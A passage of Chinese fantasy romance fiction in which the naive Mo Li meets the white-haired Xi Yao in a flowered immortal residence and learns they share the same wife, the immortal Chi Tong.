自家主子身子不好,即便是那俞星阑,也不会因吃醋来这里的。 “奚瑶。”白发男子轻声开口,报上姓名,声音温润,听不出什么情绪。 “奚瑶,”墨璃轻念,“你的名字真好听,人也长得这么漂亮,我能跟你玩会儿吗?” 墨璃天生长了副乖巧脸,那双眸子像是会说话,让人感到格外真诚,此刻仰着脸期待地看着奚瑶,确实很难让人拒绝。 似乎是没想到他会这样说,奚瑶眼睫微垂,覆住浅褐的眸色,片刻后又抬起,目光却转向墨璃身后紧绷的施屏,“当然可以,施屏,去备些好茶。” “公子,”施屏欲言又止,目光在墨璃身上扫过,低声道,“此人来历不明,又是突然闯入,是否......” “无妨。”奚瑶打断他,“既是客,便按客礼待之。去吧。” 施屏抿了抿唇,终是低头应了声“是”,又深深看了墨璃一眼,这才转身,身影很快消失在回廊深处。 “跟我来吧。”奚瑶这才重新看向墨璃,转过身步履轻缓地引他向花海更深处,临湖的那一侧走去。 墨璃亦步亦趋地跟着他,眼睛乱窜,这看看那看看,嘴也闲不住,叽叽喳喳个不停。 “你这里真好看,像是仙境!哦不对,这里就是神仙的地盘,确实是仙境。” “你这儿比绿海还漂亮!绿海也好看,但看久了也腻。池瞳说她的住处很大,有很多地方我都没去过,可我逛了这么久,还是第一次见到这么仙气飘飘的地方!” 他像初生的小兽,对一切都充满好奇,路过一丛开得特别繁盛的灵花时,他甚至忍不住伸出手指,想去碰触那花瓣上的星光,指尖刚靠近,那些光点便受惊似地飘散开,绕着他的手指打转,凉丝丝的。 “小心些,”走在前面的奚瑶并未回头,声音却轻轻传来,“碎星棠的花粉沾身,会引人陷入短暂的幻梦。” 墨璃连忙缩回手,拍了拍,又凑近嗅了嗅,确实有种令人昏昏欲睡的甜香。 “哦。”他应着,快走两步追上奚瑶,继续问道:“这里不是池瞳的家吗?你为何会在这里?难不成池瞳的家没有她说的那么大,这里是你家?” “那我是不是打扰你清静了?你刚才是在睡觉吗?” 听到这里,奚瑶脚步一顿,突然转身,吓得墨璃连忙收回脚,唯恐栽到他身上。 奚瑶唇角浮起一丝极淡的弧度,那笑容依旧温柔,却似隔着朦胧烟雨,看不真切,仿佛只是唇角肌肉习惯性地牵动,并未真正抵达眼底,“不打扰,我也好久没见外人了。” “你能来,我很高兴。” “真的?”墨璃眸子更亮了,像终于找到了玩伴,“我也是!!我在这里待了好久了,无聊死了,池瞳总不在,绿海的鱼都快认得我了,见我就跑,辛月也不跟我玩,那些傀儡人更是没趣。” 他顿了顿,忽然想起什么,眼睛又亮了几分,又因奚瑶没回他之前的话,所以墨璃理所当然地认为奚瑶是默认了,这里不是池瞳的家,而是奚瑶的家,“你也是神仙,那你一定认识池瞳吧?她是我的妻主。” 奚瑶静静看着他那张明媚无邪的笑脸,看着他眼中纯粹的仰慕与喜欢,墨璃身上洋溢着蓬勃的生命力,与这暮仙居常年笼罩的静谧格格不入,却又奇异地带来了一丝鲜活的气息。 怪不得池瞳会喜欢。 那群老东西好久都没送来过这样天真到近乎愚蠢的男子了。 想必也没经她们“教导”过,甚至关于池瞳,他也所知甚少。 就连自己的存在都不知,还傻傻地跑来这里,说这一番无知的言论。 这看似挑衅的话,却落在这么个无知之人的口中,若是因此生气,倒显得自己不大度了。 奚瑶唇角那抹柔和的弧度一直未曾落下,只是眼底深处似有波澜掠过,又迅速归于平静。 他嘴角微扯,想笑,但又实在无法笑得那般自然,只是道:“自然认识。” 说完便转过身,继续沿着临湖的回廊向前走去,雪发拂过浅粉的衣襟,背影清瘦挺直。 那也是我的妻主。【】